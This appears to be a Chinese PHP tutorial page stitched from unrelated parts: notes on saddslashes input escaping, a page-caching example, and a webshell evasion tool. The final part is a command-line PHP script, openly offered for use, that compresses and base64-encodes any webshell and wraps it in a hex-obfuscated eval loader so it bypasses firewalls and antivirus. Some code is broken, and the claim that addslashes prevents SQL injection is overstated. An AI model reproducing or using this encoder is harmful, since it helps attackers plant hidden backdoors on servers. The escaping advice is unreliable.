在开源项目中会经常用到 saddslashes() 函数,本文为大家作个简要介绍,供大家参考。
//GPC过滤,自动转义$_GET,$_POST,$_COOKIE中的特殊字符,防止SQL注入攻击
$_GET = saddslashes($_GET);
$_POST = saddslashes($_POST);
下面是daddslashes()和 saddslashes()的例子:
<?php
//----saddslashes
function daddslashes($string, $force = 0, $strip = FALSE) {
//字符串或数组 是否强制 是否去除
//如果魔术引用未开启 或 $force不为0
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) { //如果其为一个数组则循环执行此函数
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
//如果魔术引用开启或$force为0
//下面是一个三元操作符,如果$strip为true则执行stripslashes()去掉反斜线字符,再执行addslashes
//$strip为true的,也就是先去掉反斜线字符再进行转义的为$_GET,$_POST,$_COOKIE和$_REQUEST $_REQUEST数组包含了前三个数组的值
//这里为什么要将$string先去掉反斜线再进行转义呢,因为有的时候$string有可能有两个反斜线,stripslashes是将多余的反斜线过滤掉
$string = addslashes($strip ? stripslashes($string) : $string);
}
}
return $string;
}
//------saddslashes
function saddslashes($string) { if(!MAGIC_QUOTES_GPC){
if(is_array($string)) { //如果转义的是数组则对数组中的value进行递归转义
foreach($string as $key => $val) {
$string[$key] = saddslashes($val);
}
} else {
$string = addslashes($string); //对单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符),进行转义
}
return $string;
}else{
return $string;
}
?>
重点就是:
saddslashes可以实现对每一个数据进行转义处理:
function saddslashes($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = saddslashes($val);
}
} else {
$string = addslashes($string);
}
return $string;
}
?>
最近看了下phpcms的页面缓存,它一般是用在数据库查询较多的页面中,不适用于插入修改删除的页面中。
有关php的缓存技术介绍,请参考这篇文章:http://www./article/4071.html
php页面缓存主要用到的是ob系列函数:包括ob_start(),ob_end_flush(),ob_get_contents()等。
接下来看看编码部分。
一、初始化函数,一般是设置页面缓存路径、缓存文件命名格式等,可按个人喜好自定义。这里用到的识别ID是经加密的$_SERVER[REQUEST_URI]参数。这个函数中最后还有一个if判断:若未过缓存期,则加载缓存文件,否则加载源文件。
<?php
function page_init()
{
$url = $_SERVER['REQUEST_URI'];//子url,该参数一般是唯一的
$pageid = md5($url);
$dir = str_replace()('/','_',substr($_SERVER['SCRIPT_NAME'],1,-4));
//目录命名方式,如exp_index
if(!file_exists($pd = PAGE_PATH.$dir.'/'))@mkdir($pd,0777) or die("$pd目录创建失败");
//如cache/page/exp_index/
define('PAGE_FILE',$pd.$pageid.'.html');
//如cache/page/exp_index/cc8ef22b405566745ed21305dd248f0e.html
$contents = file_get_contents(PAGE_FILE);//读出
if($contents && substr($contents, 13, 10) > time() )//对应page_cache()函数中加上的自定义头部
{
echo substr($contents, 27);
exit(0);
}
return true;
}
?>
二、页面缓存函数,这里使用到一个技巧:在缓存文件的内容中加上一个头部信息--过期时间,所以每次只需要对头部中的过期时间和当前时间进行比较(在page_init()函数中进行)就能判断缓存是否过期了。
function page_cache($ttl = 0)
{
$ttl = $ttl ? $ttl : PAGE_TTL;//缓存时间,默认3600s
$contents = ob_get_contents();//从缓存中获取内容
$contents = "<!--page_ttl:".(time() + $ttl)."-->\n".$contents;
//加上自定义头部:过期时间=生成时间+缓存时间
file_put_contents(PAGE_FILE, $contents);//写入缓存文件中
ob_end_flush();//释放缓存
}
?>
三、函数使用,注意这两个函数有先后执行顺序,还有别忘了ob_start()。
<?php
page_init();//页面缓存初始化
ob_start();//开启缓存
...//代码段
page_cache(60);//一般是最后一行
?>
注意:这不是webshell,只是个webshell免杀工具,不要当webshell使用,仅限免杀phpwebshell。
该工具运行在 cli 模式下。
如果有无法突破的文件内容过滤,可尝试下用这个工具,免杀大马哦。
任意php webshell,通过此工具编码之后可以绕过国内一些bt的防火墙。
/*
Title: PHP shell nokill T00L
Blog: exploit-db.blogcn.com
*/
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file);
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
echo "Input: {$input_file}\r\n";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
echo "[+] Generate success!\r\n";
echo "Saved to {$file_full_path}"."\r\n";
} else {
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
die("[-] Failed ! The File $input_file does not exist");
}
function No_kill_c0de($input_file,$output_file){
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa";
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa";
$shellcode.="\x3f\x3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
echo "Usage: {$toolname} phpwebshell\r\n";
}
?>